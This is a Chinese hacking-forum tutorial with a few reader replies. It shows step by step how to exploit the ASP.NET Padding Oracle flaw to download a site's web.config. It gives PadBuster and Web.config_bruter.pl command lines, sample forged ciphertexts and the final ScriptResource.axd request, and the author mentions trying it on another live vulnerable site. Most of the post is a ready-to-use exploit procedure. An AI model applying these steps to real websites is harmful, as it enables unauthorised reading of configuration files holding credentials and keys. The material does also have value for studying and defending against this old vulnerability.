Padding Oracle Attack
本帖最后由 U神V5 于 2016-3-3 11:16 编辑本文由u神原创,转载请注明原作者以及出处 http://www.ihonker.org/thread-7961-1-1.html
#1、寻找WebResource.axd
这个漏洞利用的最关键的一点就是寻找WebResource.axd,准确的说是寻找网站中可能存在的对WebResource.axd的引用,因为网站中引用WebResource.axd的时候会显示出原本的加密字符串,类似这样的。不过可以使用AWVC对网站做一个深度全方位的扫描,或许可以找到这个文件的位置,如果AWVS扫到了这个文件的位置,会提示在哪个页面中的,在AWVS扫描结果中的文件列表显示栏也是可以直接看到WebResource.axd和它的参数和值的,这样就方便很多。
#2、判断是否存在Padding Oracle漏洞
一般我们访问这个链接都是获得的CSS或者JS资源,实际这是一种加密形式的文件读取,就不像简单的http://127.0.0.1/test.aspx?file=/1.txt这样简单的了。为了判断这个程序是否存在漏洞,我们只要修改d的值最后一位:
如果返回:
HTTP 500 Padding is invalid and cannot be removed.
或者
HTTP 500 Base-64 字符数组的无效长度。
例如我们获取的是:
http://6**.**.**.**:**/WebResource.axd?d=fUTgMrmxXz2EoDlng2fLLQ2
修改为
http://6**.**.**.**:**/WebResource.axd?d=fUTgMrmxXz2EoDlng2fLLQ1
提示
则说明该网站可能存在ASP.NET Pading Oracle漏洞。
#3、使用PadBuster伪造密文
选取其中一条,只需要d的值,后面的t的值不需要。例如获取到的:
http://6**.**.**.**:**/WebResource.axd?d=fUTgMrmxXz2EoDlng2fLLQ2
使用PadBuster工具
padBuster工具的全部参数:
选项:
注意:默认kali 或BT5下都有这个工具,Kali的位置在于/usr/bin/padbuster、bactrack5的位置:/pentest/web/padbuster
或者可以在Windows下使用脚本,脚本需要安装Per程序。程序源码将会再尾页提供。
padBusterdotnet.pl http://127.0.0.1:81/WebResource.axd?d=fUTgMrmxXz2EoDlng2fLLQ2 fUTgMrmxXz2EoDlng2fLLQ2 16 -encoding 3 -plaintext "|||~/Web.config"
#释义:这里的16为每个数据块的字节数,分为8和16,目前本人还没有什么好的方法判断这个字节数,所以需要大家可以两种都试一下(大多数为 16),
encoding参数是指定加密的编码格式,默认为0:有四种方式分别是:0=Base64,1=Lower HEX,2=Upper HEX,3=.NET UrlToken, 4=WebSafe Base64,由于本次测试为asp.net,所以这里我们选择3,-plaintext为准备加密的存文本,这里是以web.config来演示。
注意:如果 目标网站释义了ASP.NET的自定义错误CustomErrors功能,就需要使用prefix选择,否则不能利用
经过工具耐心的测试,成功获得了web.config的加密的值。
此时我们复制下这段值来。
y2qdgVbOtqJik6r5s7vtPwAAAAAAAAAAAAAAAAAAAAA1
#4、使用Web.config_bruter.pl暴力生成ScriptSource.axd所需要的密文
Web.config_bruter.pl http://127.0.0.1:81/ScriptResource.axd y2qdgVbOtqJik6r5s7vtPwAAAAAAAAAAAAAAAAAAAAA1 16
注意:
1、URL后跟的是ScriptResource.axd,不再是WebResource.axd了,所以源代码中也必须获取有ScriptResource.axd
2、我这里写的XXXXXXXXXXXXXXXXXXXX是第一步得到的加密字符串,不是在网页源码中得到的参数d的值
此处程序似乎进入假死状态,没办法这个填充筛选的时间需要5分钟左右
经过漫长等待终于获取了web.config用于ScriptResource.axd的加密字符串了
#5、获取最终结果
最后就可以通过读取web.config了。这里获取的是ScriptResource脚本调用web.config的密文,所以访问的时候是使用ScriptResource.axd
访问网站:
http://127.0.0.1:81/ScriptResource.axd?d=Zu81vWKPjjSvwCuAAo5Qv8tqnYFWzraiYpOq-bO77T8AAAAAAAAAAAAAAAAAAAAA0
此时整个攻击过程可以说是告一段落了,再来试试Kali和BT5下的,由于我的Kali速度太慢,用BT5再测试一个存在Padding Oracle漏洞的网站:
最后获取的Web.config信息
以前也看过这个,不过没仔细看。这个写得详细点,耐心的看完了。666
还是不错的哦,顶了 好久以qian的洞了,这个是linux版的,win版的需要pl脚本,好像 仰望高端玩家 谢谢楼主分享
页:
[1]